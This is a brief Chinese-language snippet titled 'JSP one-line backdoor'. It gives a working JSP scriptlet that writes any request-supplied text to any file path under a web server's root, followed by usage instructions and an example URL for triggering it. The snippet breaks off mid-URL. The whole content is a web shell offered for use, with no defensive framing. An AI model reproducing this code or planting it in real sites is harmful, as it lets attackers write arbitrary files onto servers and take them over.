JSP一句话后门

【JSP编程】<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> 使用方法: 提交url! jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=...